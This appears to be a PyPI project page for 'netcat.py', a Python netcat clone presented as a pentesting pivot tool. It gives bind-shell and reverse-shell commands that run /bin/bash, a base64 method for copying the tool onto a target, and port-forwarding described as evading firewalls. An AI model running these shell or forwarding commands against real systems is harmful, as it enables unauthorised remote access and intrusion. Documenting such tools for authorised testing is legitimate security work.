Skip to main content

Netcat with cmd exec, connect, listen and (local/remote) port-forwarding modes.

Project description

netcat.py

PyPI PyPI - Status PyPI - Python Version PyPI - Format PyPI - Implementation PyPI - License

Build Status Build Status Build Status

Dependency-less Python 2 and Python 3 compatible implementation of netcat which works on 32bit and 64bit systems to easily pivot your target.

Motivation

To have a single tool for older, newer, 32bit and 64bit machines with relevant options (-e. -L and -R) to create bind shells, local and remote port-forwards.

:tada: Install

pip install netcat

:coffee: TL;DR

Copy to target

# Copy base64 data to clipboard from where you have internet access
curl https://raw.githubusercontent.com/cytopia/netcat/master/bin/netcat.py | base64

# Paste it on the target machine
echo "<BASE64 STRING>" | base64 -d > netcat.py
chmod +x netcat.py

Summon shells

# bind shell
netcat.py -l -e '/bin/bash' 8080
# reverse shell
netcat.py -e '/bin/bash' example.com 4444

Port-forwarding without SSH

# Make local port available to public interface locally
netcat.py -L 127.0.0.1:3306 192.168.0.1 3306
# Remote port-forwarding to evade firewalls
netcat.py -R 127.0.0.1:3306 example.com 4444

:computer: Usage

usage: netcat.py [-Cnuv] [-e cmd] hostname port
       netcat.py [-Cnuv] [-e cmd] -l [hostname] port
       netcat.py [-Cnuv] -L addr:port [hostname] port
       netcat.py [-Cnuv] -R addr:port hostname port
       netcat.py -V, --version
       netcat.py -h, --help


Netcat implementation in Python with connect, listen and forward mode.

positional arguments:
  hostname              Address to listen, forward or connect to
  port                  Port to listen, forward or connect to

mode arguments:
  -l, --listen          Listen mode: Enable listen mode for inbound connects
  -L addr:port, --local addr:port
                        Local forward mode: Specify local <addr>:<port> to which traffic
                        should be forwarded to.
                        Netcat will listen locally (specified by hostname and port) and
                        forward all traffic to the specified value for -L/--local.
  -R addr:port, --remote addr:port
                        Remote forward mode: Specify local <addr>:<port> from which traffic
                        should be forwarded from.
                        Netcat will connect remotely (specified by hostname and port) and
                        for ward all traffic from the specified value for -R/--remote.

optional arguments:
  -e cmd, --exec cmd    Execute shell command. Only works with connect or listen mode.
  -C, --crlf            Send CRLF as line-endings (default: LF)
  -n, --nodns           Do not resolve DNS
  -u, --udp             UDP mode
  -v, --verbose         Be verbose and print info to stderr. Use -vv or -vvv for more verbosity.

misc arguments:
  -h, --help            Show this help message and exit
  -V, --version         Show version information and exit

examples:

  Create bind shell
    netcat.py -l -e '/bin/bash' 8080

  Create reverse shell
    netcat.py -e '/bin/bash' example.com 4444

  Local forward: Make localhost port available to another interface
    netcat.py -L 127.0.0.1:3306 192.168.0.1 3306

  Remote forward: Forward local port to remote server
    netcat.py -R 127.0.0.1:3306 example.com 4444

:lock: cytopia sec tools

Tool Category Language Description
smtp-user-enum Enumeration Python 2+3 SMTP users enumerator
urlbuster Enumeration Python 2+3 Mutable web directory fuzzer
netcat Pivoting Python 2+3 Cross-platform netcat
badchars Reverse Engineering Python 2+3 Badchar generator
fuzza Reverse Engineering Python 2+3 TCP fuzzing tool

:exclamation: Disclaimer

This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.

:page_facing_up: License

MIT License

Copyright (c) 2020 cytopia

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Files for netcat, version 0.0.1a0
Filename, size File type Python version Upload date Hashes
Filename, size netcat-0.0.1a0.tar.gz (7.4 kB) File type Source Python version None Upload date Hashes View
Filename, size netcat-0.0.1a0-py2.py3-none-any.whl (8.3 kB) File type Wheel Python version py2.py3 Upload date Hashes View

Supported by

AWS AWS Cloud computing Datadog Datadog Monitoring Facebook / Instagram Facebook / Instagram PSF Sponsor Fastly Fastly CDN Google Google Object Storage and Download Analytics Huawei Huawei PSF Sponsor Microsoft Microsoft PSF Sponsor NVIDIA NVIDIA PSF Sponsor Pingdom Pingdom Monitoring Salesforce Salesforce PSF Sponsor Sentry Sentry Error logging StatusPage StatusPage Status page